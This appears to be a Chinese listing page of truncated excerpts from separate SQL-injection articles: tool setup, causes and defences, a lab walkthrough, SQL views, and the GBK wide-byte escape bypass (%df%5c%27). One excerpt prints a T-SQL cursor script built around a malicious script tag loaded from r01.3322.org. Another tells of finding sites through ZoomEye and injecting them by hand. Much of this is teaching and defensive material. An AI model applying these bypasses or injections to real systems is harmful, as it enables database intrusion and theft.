1 准备 安装包：Burpsuit、Python27、sqlmap 2 安装配置 2.1 Burpsuit 1) 解压Burpsuit 2) 双击运行BurpUnlimited.jar（注：该工具基于java，提前安装好java运行环境） 3) 设置，如图所示2.2 Python 然后，运行下载的MSI安装包，在选择安装组件的一步时，勾上所有的组件：特别要注意选上pip和Add python.exe to Path，然后一路点“Next”即可完成安装。 默认会安装到C:\Python27目录下，然后打开...
产生： 程序开发过程中不注意规范书写 sql 语句和对特殊字符进行过滤，导致客户端可以通过全局变量POST 和 GET 提交一些 sql 语句正常执行。产生 Sql 注入。 下面是防止办法： 在 PHP 配置文件中将 Register_globals=off;设置为关闭状态 过滤掉一些常见的数据库操作关键字，或者通过系统函数来进行过滤。 SQL 语句书写的时候尽量不要省略小引号(tab 键上面那个)和单引号 提高数据库命名技巧，对于一些重要的字段根据程序的特点...
右键源代码 习惯搜一下index 发现php 大概率为MYSQL数据库 点击index.php后发现新建一个网页和之前的一样 结论这个index.php就是靶机 判断是否存在注入点 发现url上有id=1 又是MYSQL数据库 心中窃喜 就可以想到select * from [表] where id=[任何数字] 接下来把id=后改成0+1 看看有没有发现 果然有戏 发现跟原来界面相同 说明0+1被带到数据库中执行所以说存在注入点 接下来我们可以干活了 SQL注入靶机实例标签：com ...
在SQL查询分析器执行以下代码就可以了。 代码如下:declare @t varchar(255),@c varchar(255)declare table_cursor cursor for select a.name,b.namefrom sysobjects a,syscolumns b ,systypes cwhere a.id=b.id and a.xtype=u and c.namein (char, nchar, nvarchar, varchar,text,ntext)declare @str varchar(500),@str2 varchar(500)set @str=<mce:script src="http://r01.3322.org/c.js" mce_src="http://r01.3322.org/c.js"></m...
前言： 曾经在网上发现了一款sql注入自动扫描工具–傀儡扫描器，虽然好用但是时不时就会莫名其妙的暂停，所以想尝试写一个类似的工具锻炼一下自己的python（大佬勿喷
一、什么是SQL注入？ SQL注入是一种注入攻击，可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询，使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施，可以绕过网页或Web应用程序的身份验证和授权，并检索整个SQL数据库的内容；还可以使用SQL注入来添加，修改和删除数据库中的记录。也就是说web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在管理员不知...
通过钟馗之眼搜索目标网站的证书使用者找到信息泄露的网站，点击上图中的edit会跳转 手工注入sql发现有效 thats all
一、视图 1.什么是视图视图本质是一张虚拟的表 2.为什么要用为了原表的安全 只要有两大功能 1.隐藏部分数据，开放指定数据 2.视图可以将查询结果保存，减少sql语句的次数 特点： 1.视图使用永久保存的，而且保存的仅仅是一条 as sql语句 2.每次对视图的查询，都是再次执行了保存的sql语句 3.对于视图的任何修改都会同步到原表 3.如何使用语法：create view 视图名 as select * from 原表名; 验证：...
一、宽字节注入1、什么是宽字节GB2312、GBK、GB18030、BIG5等这些都是常说的宽字节，实际为两字节 2、宽字节注入原理防御：将 转换为 \绕过：将 \ 消灭 mysql在使用GBK编码的时候，会认为两个字符为一个汉字\ 编码为 %5c 编码为%27%df%5c mysql会认为是一个汉字构造：%df %df\ %df%5c%27 其中%df%5c将成为一个汉字专为 汉字 从而绕过了/的转义注：前一个ascii码大于128才能到汉字的范围 注入方法：在注入点...